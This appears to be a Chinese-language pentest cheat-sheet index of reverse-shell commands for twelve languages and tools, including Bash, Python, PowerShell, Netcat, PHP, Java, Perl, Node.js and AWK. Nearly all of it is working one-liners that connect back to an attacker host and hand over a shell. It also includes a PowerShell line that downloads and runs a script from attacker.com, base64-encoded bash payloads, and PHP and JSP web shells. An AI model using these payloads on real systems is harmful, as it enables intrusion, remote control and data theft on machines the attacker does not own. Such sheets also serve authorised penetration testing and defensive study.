# 反弹Shell
English: Reverse Shell
- Tool Count: 12
- Use this file to choose the right tool quickly, then open the linked source markdown for full command details.
## Bash反弹Shell
- ID: bash-reverse
- Command Count: 5
- Original Extracted Source: original extracted tools-wiki source/bash-reverse.md
Description:
Bash反弹Shell命令
Representative Commands:
- 基础反弹: `bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1`
- exec反弹: `exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done`
- UDP反弹: `bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1`
- 编码反弹: `bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"`
- 监听命令: `nc -lvnp PORT`
External References:
- https://www.revshells.com/
## Python反弹Shell
- ID: python-reverse
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/python-reverse.md
Description:
Python反弹Shell命令
Representative Commands:
- Python反弹: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- Python3反弹: `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`
- 短版本: `python -c 'import pty;pty.spawn("/bin/bash")'`
External References:
- https://www.revshells.com/
## PowerShell反弹Shell
- ID: powershell-reverse
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/powershell-reverse.md
Description:
PowerShell反弹Shell命令
Representative Commands:
- 基础反弹: `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`
- Base64编码: `powershell -e BASE64_ENCODED_COMMAND`
- PowerCat: `powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://attacker.com/powercat.ps1');powercat -c ATTACKER_IP -p PORT -e cmd"`
External References:
- https://www.revshells.com/
## Netcat反弹Shell
- ID: nc-reverse
- Command Count: 4
- Original Extracted Source: original extracted tools-wiki source/nc-reverse.md
Description:
Netcat反弹Shell命令
Representative Commands:
- 传统反弹: `nc -e /bin/sh ATTACKER_IP PORT`
- OpenBSD反弹: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f`
- 监听模式: `nc -lvnp PORT`
- 文件传输: `nc -lvnp PORT < file    # 发送端
nc ATTACKER_IP PORT > file    # 接收端`
External References:
- https://www.revshells.com/
## PHP反弹Shell
- ID: php-reverse
- Command Count: 4
- Original Extracted Source: original extracted tools-wiki source/php-reverse.md
Description:
PHP语言反弹Shell命令集合
Representative Commands:
- exec方式: `php -r '$sock=fsockopen("attacker_ip",4444);exec("sh <&3 >&3 2>&3");'`
- proc_open方式: `php -r '$sock=fsockopen("attacker_ip",4444);$proc=proc_open("sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'`
- Web Shell一句话: `<?php system($_GET["cmd"]); ?>
<?php echo shell_exec($_REQUEST["cmd"]); ?>
<?php eval($_POST["cmd"]); ?>`
- PentestMonkey版: `# 下载完整PHP反弹Shell:
# https://github.com/pentestmonkey/php-reverse-shell
# 修改$ip和$port后上传执行`
External References:
- https://github.com/pentestmonkey/php-reverse-shell
## Java反弹Shell
- ID: java-reverse
- Command Count: 3
- Original Extracted Source: original extracted tools-wiki source/java-reverse.md
Description:
Java语言反弹Shell命令集合
Representative Commands:
- Runtime方式: `Runtime rt = Runtime.getRuntime();
String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"};
rt.exec(cmd);`
- Base64编码版: `bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlcl9pcC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}`
- JSP反弹Shell: `<%@page import="java.util.*,java.io.*"%>
<%
Process p=Runtime.getRuntime().exec("bash -c {echo,ENCODED_CMD}|{base64,-d}|{bash,-i}");
%>`
External References:
- https://www.revshells.com/
## Perl反弹Shell
- ID: perl-reverse
- Command Count: 2
- Original Extracted Source: original extracted tools-wiki source/perl-reverse.md
Description:
Perl语言反弹Shell命令
Representative Commands:
- 标准反弹: `perl -e 'use Socket;$i="attacker_ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'`
- Perl无fork: `perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attacker_ip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'`
External References:
- https://www.revshells.com/
## Ruby反弹Shell
- ID: ruby-reverse
- Command Count: 2
- Original Extracted Source: original extracted tools-wiki source/ruby-reverse.md
Description:
Ruby语言反弹Shell命令
Representative Commands:
- 标准反弹: `ruby -rsocket -e'f=TCPSocket.open("attacker_ip",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`
- Windows版: `ruby -rsocket -e 'c=TCPSocket.new("attacker_ip",4444);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'`
External References:
- https://www.revshells.com/
## Node.js反弹Shell
- ID: nodejs-reverse
- Command Count: 2
- Original Extracted Source: original extracted tools-wiki source/nodejs-reverse.md
Description:
Node.js语言反弹Shell命令
Representative Commands:
- 标准反弹: `node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("sh",[]);var client=new net.Socket();client.connect(4444,"attacker_ip",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();'`
- require方式: `require("child_process").exec("bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'")`
External References:
- https://www.revshells.com/
## Groovy反弹Shell
- ID: groovy-reverse
- Command Count: 2
- Original Extracted Source: original extracted tools-wiki source/groovy-reverse.md
Description:
Groovy语言反弹Shell(常用于Jenkins)
Representative Commands:
- 标准反弹: `String host="attacker_ip";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};
p.destroy();s.close();`
- 简短版: `"bash -c {echo,ENCODED_CMD}|{base64,-d}|{bash,-i}".execute()`
External References:
- https://www.revshells.com/
## Lua反弹Shell
- ID: lua-reverse
- Command Count: 2
- Original Extracted Source: original extracted tools-wiki source/lua-reverse.md
Description:
Lua语言反弹Shell命令
Representative Commands:
- 标准反弹: `lua -e "require('socket');require('os');t=socket.tcp();t:connect('attacker_ip','4444');os.execute('sh -i <&3 >&3 2>&3');"`
- Lua5.1版: `lua5.1 -e 'local host, port = "attacker_ip", 4444 local socket = require("socket") local tcp = socket.tcp() tcp:connect(host, port) while true do local cmd, status = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'`
External References:
- https://www.revshells.com/
## AWK反弹Shell
- ID: awk-reverse
- Command Count: 2
- Original Extracted Source: original extracted tools-wiki source/awk-reverse.md
Description:
AWK语言反弹Shell命令
Representative Commands:
- 标准反弹: `awk 'BEGIN {s = "/inet/tcp/0/attacker_ip/4444"; while(42) { do{ printf "shell> " |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null`
- GAWK版: `gawk 'BEGIN{s="/inet/tcp/0/attacker_ip/4444";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'`
External References:
- https://www.revshells.com/

